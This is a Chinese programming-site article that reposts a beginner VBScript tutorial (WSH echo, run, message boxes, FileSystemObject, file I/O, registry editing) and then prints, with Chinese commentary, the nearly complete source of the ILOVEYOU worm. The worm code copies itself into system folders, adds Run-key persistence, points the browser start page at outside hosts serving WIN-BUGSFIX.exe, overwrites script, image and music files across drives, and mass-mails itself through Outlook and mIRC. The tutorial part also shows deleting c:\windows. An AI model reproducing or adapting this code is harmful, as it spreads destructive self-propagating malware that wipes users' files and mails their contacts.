这篇文章主要介绍“最基础的vbscript,jscript脚本编程方法”,在日常操作中,相信很多人在最基础的vbscript,jscript脚本编程方法问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”最基础的v
这篇文章主要介绍“最基础的vbscript,jscript脚本编程方法”,在日常操作中,相信很多人在最基础的vbscript,jscript脚本编程方法问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”最基础的vbscript,jscript脚本编程方法”的疑惑有所帮助!接下来,请跟着小编一起来学习吧!
我们的第一个vbs程序:还是那个老得掉牙的冬冬。
************************hello.vbs**************************
dim hello
hello=”hello world!”
wscript.echo hello
wscript echo “ this is my first vbs”
可以看出wscript.echo有两种用法,这个不难。
可以直接双击运行,可以在当前目录的命令行输入:
cscript hello.vbs
2、在脚本中调用其他的程序:
使用run()方法,在使用前必须先建立shell的实例
********************shell.vbs******************************************
set ws=wscript.createobject("wscript.shell")
ret=ws.run ("notepad" ,3,true)
if ret=0 then
wscript.echo “succeed!”
else
wscript.echo “there is a error,the error number is:”
wscript.echo cstr(ret)
end if
***************************************************************************
这里run 有三个参数,第一个参数是你要执行的程序的路径
第二个程序是窗口的形式,0是在后台运行;
1表示正常运行
2表示激活程序并且显示为最小化
3表示激活程序并且显示为最大化
一共有10个这样的参数我只列出了4个最常用的。
第三个参数是表示这个脚本是等待还是继续执行,如果设为了true,脚本就会等待调用的程序退出后再向后执行。
注意到没有,我在run的前面还有一个接受返回值的变量,一般来说如果返回为0,表示成功执行,如果不为0,则这个返回值就是错误代码,可以通过这个代码找出相应的错误。
3、inputbox 和msgbox
会vb的人对着两个东西应该很熟悉,用法也没什么差别
input=inputbox(“please enter you passWord”,”passwd”)
if input<>”1234”
then
msgbox “you enter a wrong passwd”
end if
当然你也可以给msgbox添加按钮,用一个变量接受用户的选择
例如:ret=msgbox “continue?”,vbyesnocancel
返回值和常量对照如下:
vbok 1
vbcancel 2
vbabort 3
vbretry 4
vbignore 5
vbyes 6
vbno 7
4、错误处理
何vb一样用on error resume next
这个没什么好说的,如果遇到了错误就跳过继续执行下一句
当然这个方法很弱智,还需要有一个方法,vbscript提供了一个对象err对象
他有两个方法clear,raise
5个属性:description,helpcontext ,helpfile,number,source
我们可以利用err.number获得错误号例如
***********************err.vbs*****************************
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description & err.source
end if
我们可以用err.raisel来手工抛出错误
比如我们要产生一个path not found的错误 告诉用户,他填写的路径不对
on error resume next
err.raise 76
msgbox "error :" & err.description
err.clear
vbscript脚本编程教程2
by sssa2000
7/7/2004
我们来看一看怎么利用fso来进行文件操作。Fso时vbs里进行文件操作的核心。作为黑客,不管学习什么语言,对文件的操作都应该是要了如指掌的,所以请大家仔细学习。
不说废话,先看fso由哪几个对象组成:
drive对象:包含储存设备的信息,包括硬盘,光驱,ram盘,网络驱动器
drives集合:提供一个物理和逻辑驱动器的列表
file 对象:检查和处理文件
files 集合:提供一个文件夹中的文件列表
folder对象:检查和处理文件夹
folders集合:提供文件夹中子文件夹的列表
textstream对象:读写文本文件
看看fso的方法:由于很多,所以我不会把每个的作用写出来,如果有不懂的,自己查一下msdn。不要说没有哦
bulidpath:把文件路径信息添加到现有的文件路径上
copyfile
copyfolder
createfolder
createtextfile
deletefile
deletefolder
dreveexits
fileexits
folderexists
getabsolutepathname:返回一个文件夹或文件的绝对路径
getbasename:返回一个文件或文件夹的基本路径
getdrive:返回一个dreve对象
getdrivename:返回一个驱动器的名字
getextensionname:返回扩展名
getfile:返回一个file对象
getfilename:返回文件夹中文件名称
getfolder
getparentfoldername:返回一个文件夹的父文件夹
getspecialfolder:返回指向一个特殊文件夹的对象指针
gettempname:返回一个可以被createtextfile使用的随机产生的文件或文件夹的名称
movefile
movefolder
opentextfile
1、使用fso
由于fso不是wsh的一部分,所以我们需要建立他的模型
例如set fs=wscript.createobject(“scripting.filesystemobject”)
这样就建立了fso的模型。如果要释放的话也很简单,set fs=nothing
2、使用文件夹
创建:
在创建前我们需要检查是否存在,看一下程序
***************************createfolder.vbs*****************************
dim fs,s
set fs=wscript.createobject(“scripting.filesystemobject”)
if (fs.folderexists(“c:\temp”)) then
s=”is available”
else
s=”not exist”
set foldr=fs.createfolder(“c:\temp”)
end if
删除、拷贝、移动
删除:
set fs=wscript.createobject(“scripting.filesystemobject”)
fs.deletefolder(“c:\windows”)
拷贝:
set fs=wscript.createobject(“scripting.filesystemobject”)
fs.copyfolder “c:\data” “d:\data”
注意,如果这个时候c:\data 和d:\data都存在,会出错,复制也就会停止,如果要强制覆盖,使用fs.copyfolder “c:\data” “d:\data”,true
移动
set fs=wscript.createobject(“scripting.filesystemobject”)
fs.movefolder “c:\data” “d:\data”
关于通配符:
我们可以使用统配符,来方便操作:
例如, fs.movefolder :c:\data\te*” , “d:\working”
注意到没有,我在目的路径最后没有使用“\” 也就是说我没有这样写:
fs.movefolder :c:\data\te*” , “d:\working\”
这样写的话,如果d:\working 目录不存在,windows就不会为我们自动创建这个目录。
还有一点,大家注意到没有 上面说的都没有涉及到folder对象,我们都是在利用fso提供的方法,当然利用folder一样可以的:
set fs= wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfolder(“c:\data”)
f.delete ‘删除。如果有子目录,也会被删除
f.copy “d:\working”,true ‘拷贝到d:\working
f.move :”d:\temp” ‘移动到d:\temp
特殊文件夹
一般指的就是系统文件夹:\windows\system32, 临时文件夹,windows文件夹
看下面,我们使用环境变量来获得windows目录,关于环境变量我们会在后面详细讲道,如果我忘记了 请大家提醒我
set fs=wscript.createobject(“scripting.filesystemobject”)
set wshshell=wscript.createobject(“wscript.shell”)
osdir=wshshell.expandenvironmentstrings(“%systemroot%”)
set f =fs.getfolder(osdir)
wscript.echo f
当然,还有简单的方法 那就是使用getspecialfolder()
这个方法使用3种值:
0 表示windows文件夹,相关常量是windowsfolder
1 系统文件夹,相关常量是systemfolder
2 临时目录,相关常量temporaryfolder
看下面的例子:
***********************************getspecialfolder***************************
set fs=wscript.createobject(“scripting.filesystemobject”)
set wfolder=fs.getspecialfolder(0) ‘返回windows目录
set wfolder=fs.getspecialfolder(1) ‘返回system32\
set wfolder=fs.getspecialfolder(2)'返回临时目录
3、使用文件
使用文件属性:
文件夹的属性我没有说,大家可以从文件属性里举一反三
文件属性常用的就是:
nORMal 0
readonly 1
hideen 2
system 4
set fs=wscript.createobject(“scripting.filesystemobject”)
set f=fs.gerfile(“d:\index.txt”)
f.attributes=f.attributes+1
这里由于不知道d:\index.txt的文件属性,所以会发生不可预测的结果,如果文件的属性是0,那么就会变成1。所以最好在改变属性前查询
创建
创建前需要检查文件是否存在,方法和前面说的文件夹的方法一样
*****************************file.vbs**********************************
set fs=wscript.createobject(“scripting.filesystemobject”)
if fs.fileexists(“c:\asd.txt”) then
s=” available”
else
s=not exist”
set f=fs.createtextfile(“c:\asd.txt”)
end if
当然 我们也可以使用set f=fs.createtextfile(“c:\asd.txt”,true)
来强制覆盖已存在的文件。
复制移动删除文件
和文件夹一样 我们既可以使用fso提供的方法也可以用file对象
set fs=wscript.createobject(“scripting.filesystemobject”)
fs.copyfile “c:\asd.txt”,”d:\1\asd.txt”,true ‘复制文件,如果已存在就强制覆盖
fs.movefile “c:\asd.txt”, “d:\” ‘移动
fs.deletefile “c:\asd.txt” ‘删除
Vbscript 脚本编程3 关于文件的读写
By sssa2000
7/9/2004
使用vbscript来读写文件,十分的方便,废话少说,切入正题。
1、打开文件
使用opentextfile方法
set fs =createobject(“scripting.filesystemobject”)
set ts=fs.opentextfile(“c:\1.txt”,1,true)
注意这里需要填入文件的完整路径,后面一个参数为访问模式
1为forreading
2为forwriting
8为appending
第三个参数指定如果指定文件不存在,是否创建。
2、读取文件
读取文件的方法有三个
read(x)读取x个字符
readline读取一行
readall全部读取
例如:
set fs =createobject(“scripting.filesystemobject”)
set ts=fs.opentextfile(“c:\1.txt”,1,true)
value=ts.read(20)
line=ts.readline
contents=ts.readall
这里还要介绍几个指针变量:
textstream对象的atendofstream属性。当处于文件结尾的时候这个属性返回true.我们可以用循环检测又没有到达文件末尾。例如:
set fs =createobject(“scripting.filesystemobject”)
set f=fs.getfile(“c:\1.txt”,1,false)
set ts=f.openastextstream(1,0)
do while ts.atendofstream<>true
f.read(1)
loop
还有一个属性,atendofline,如果已经到了行末尾,这个属性返回true.
Textstream对象还有两个有用的属性,column和line.
在打开一个文件后,行和列指针都被设置为1。
看一个综合的例子吧:
*******************************read.vbs******************************
set fs =createobject(“scripting.filesystemobject”)
set f=fs.opentextfile(“c:\1.txt”,1,true)
do while f.atendofstream<>true
data=””
for a=1 to 5
if f.atendofstream<>true then
data=data+f.readline
end if
next
dataset=dataset+1
wscript.echo “data set” &dataset & ”:” & data
loop
最后说一下在文件中跳行
skip(x) 跳过x个字符
skipline 跳过一行
用法也很简单 和前面一样,就不说了。
3、写文件
可以用forwriting和forappending方式来写
写有3各方法:
write(x)
writeline
writeblanklines(n) 写入n个空行
来看一个例子:
*****************************************************************
data=”hello, I like script programing”
set fs =createobject(“scripting.filesystemobject”)
if (fs.fileexists(“c:\2.txt”)) then
set f =fs.opentextfile(“c:\2.txt”,8)
f.write data
f.writeline data
f.close
else
set f=fs.opentextfile(“c:\2.txt”,2, true)
f.writeblanklines 2
f.write data
f.close
end if
注意 写完文件以后一定要关闭!!!!!!! 还有就是,如果要读文件又要写文件,读完之后一定也要记得关闭,这样才能以写的方式打开。
Vbscript编程5
注册表,修改注册表是编程的一个基本技能,脚本编程当然也不例外。
这里,我就不再讲解注册表的基本结构。
1、读注册表的关键词和值:
可以通过把关键词的完整路径传递给wshshell对象的regread方法
例如:
set ws=wscript.createobject("wscript.shell")
v=ws.regread("HKEY_LOCAL_MacHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\nwiz")
wscript.echo v
2、写注册表
有读就有写了,使用wshshell对象的regwrite方法
看例子:
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
set ws=wscript.createobject("wscript.shell")
t=ws.regwrite(path & "jj","hello")
这样就把
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\jj这个键值改成了hello.不过要注意:这个键值一定要预先存在。
如果要创建一个新的关键词,同样也是用这个方法。
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"
set ws=wscript.createobject("wscript.shell")
val=ws.regwrite(path,"nenboy")
val=ws.regread(path)
wscript.echo val
删除关键字和值
使用regdelete方法,把完整的路径传递给regdelete就可以了
例如
val=ws.regdel(path)
注意,如果要删除关键词的值的话 一定要在路径最后加上“\”,如果不加斜线,就会删除整个关键词。
rem barok -loveletter(vbe) <i hate Go to school>
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group / Manila,Philip
pines
' 注释:程序作者的签名(可能)
On Error Resume Next
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
' 注释:FileSystemObject是M$ VBVM系统中最危险的部分,它的功能十分强大
' 从病毒使用FSO可以知道,通过修改注册表,可以轻易防止 Love Letter发作。
set file = fso.OpenTextFile(WScript.ScriptFullname,1) '返回当前脚本的完整路径
vbscopy=file.ReadAll
main()
' 注释 - 程序初始化完成。
sub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin
g Host\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout",0,"REG_DWORD"
' 注释 - 防止操作超时造成的程序终止。
' 应该说,编写病毒的程序员考虑到了可能发生的问题,这一点值得所有的编程
者借鉴。
end if
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
' 获取系统关键文件夹的名称
' VB编程时可以用。
Set c = fso.GetFile(WScript.ScriptFullName) '返回当前脚本的完整路径
c.Copy(dirsystem&"\MSKernel32.vbs") 'Copies a specified file or folder from one location to another.
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
' 复制自身到关键目录中备用。
' 文件名并不是很好。太容易被发现了。
regruns()
html()
spreadtoemail()
listadriv()
end sub
sub regruns()
' 修改注册表,以便自动装载病毒程序
' 预防:经常检查注册表中的这一分支。
' 已知的方法还有把HTA放入Startup文件夹。病毒程序使用的方法更先进,
' 因为它不会因为语言问题而失效。
On Error Resume Next
Dim num,downread
reGCreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore
r\Download Directory")
if (downread="") then
downread="c:\"
end if
if (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Randomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"Http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page",
"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqWEBmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
UGSFIX.exe"
end if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio
n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
\Start Page","about:blank"
end if
end sub
sub folderlist(folderspec)
' 遍历文件夹
On Error Resume Next
dim f,f1,sf
set f = fso.GetFolder(folderspec)
set sf = f.SubFolders '得到某一特定文件夹的所有子文件夹,包括系统隐藏文件夹
for each f1 in sf 'f1为每一个子文件夹的对象
infectfiles(f1.path) '传染文件的操作
folderlist(f1.path) '再次进行文件夹遍历
next
end sub
sub listadriv
' 遍历所有驱动器。
On Error Resume Next
Dim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then '2.3分别为硬盘和网络共享盘
folderlist(d.path&"\")
end if
Next
listadriv = s
end sub
function fileexist(filespec)
' 判断文件是否存在
' 纯粹从技术角度讲,这段程序写的不怎么样。
' 不用写这么长就能够实现相同的功能
On Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
function folderexist(folderspec)
' 判断文件夹是否存在
' 和上一段程序一样臭。
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
msg = 0
else
msg = 1
end if
fileexist = msg
end function
sub infectfiles(folderspec)
' 执行传染文件的操作。
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
set fc = f.Files '得到某一特定文件夹的所有文件,包括系统隐藏文件
for each f1 in fc
ext=fso.GetExtensionName(f1.path) '得到扩展名
ext=lcase(ext) '转变为小写
s=lcase(f1.name)
if (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy 'vbscopy=file.ReadAll
ap.close
elseif(ext="js") or (ext="jse") or (ext="CSS") or (ext="wsh") or (ext=
"sct") or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
if (eq<>folderspec) then
if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri
pt.ini") or (s="mirc.hlp") then
set scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corru
pt, if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
' 病毒作者的英文恐怕没学好……不过,这样吓唬人也够损的了。
' 这里提醒各位注意,不要在乎那些吓人的文字,仔细观察就会发现漏洞其实不
少。
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO
R-YOU.HTM"
scriptini.WriteLine "n3=}"
' 注意,这样做的结果是,MIRC也能够传染病毒。
scriptini.close
eq=folderspec
end if
end if
next
end sub
sub regcreate(regkey,regvalue)
' 修改注册表(创建键值)
' 这个程序似乎是微软的示范程序。
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey,regvalue
end sub
function regget(value)
' 这个程序似乎也是微软的示范程序。(WSH示范,在Windows文件夹)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
end function
sub spreadtoemail()
' 通过电子邮件扩散
On Error Resume Next
dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad
set regedit=CreateObject("WScript.Shell")
set out=WScript.CreateObject("Outlook.Application")
' 病毒的局限:只支持Outlook,而Outlook Express则不支持。
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male
ad)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
' 病毒得名的原因
' 见到这样的邮件,肯定是病毒。
' 头脑正常的人恐怕不会这样直白的。
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m
e."
male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,
"REG_DWORD"
end if
x=x+1
next
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
ssEntries.Count
else
regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre
ssEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
end sub
sub html
' 从技术角度说,这段程序写得很漂亮,原因在于充分地利用了 Outlook 的资源
' 值得编写程序的借鉴。
' 程序中间的_符号是连接线,所以注释写在这里。
' 程序中无效语句很多,浪费了不少空间。
On Error Resume Next
dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene
rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-? @G
RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _
"<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go
od...@-@>"&vbcrlf& _
"<?-?HEAD><BODY ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LO
VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO
U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@
>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r
ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active
X<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>--------
--z--------------------z----------<?-?MARQUEE> "&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"<SCRIPT language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight
;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf&
_
"set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _
"code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _
"code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _
"code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf
& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&
_
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo
ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v
bs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'")
dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""")
dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/")
dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\")
dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'")
dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""")
dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/")
dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\")
set fso=CreateObject("Scripting.FileSystemObject")
set c=fso.OpenTextFile(WScript.ScriptFullName,1)
lines=Split(c.ReadAll,vbcrlf)
l1=ubound(lines)
for n=0 to ubound(lines)
lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37))
if (l1=n) then
lines(n)=chr(34)+lines(n)+chr(34)
else
lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _"
end if
next
set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM")
b.close
set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2)
d.write dt5
d.write join(lines,vbcrlf)
d.write vbcrlf
d.write dt6
d.close
end sub
到此,关于“最基础的vbscript,jscript脚本编程方法”的学习就结束了,希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习,快去试试吧!若想继续学习更多相关知识,请继续关注编程网网站,小编会继续努力为大家带来更多实用的文章!
--结束END--
本文标题: 最基础的vbscript,jscript脚本编程方法
本文链接: https://lsjlt.com/news/254470.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
2024-05-24
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0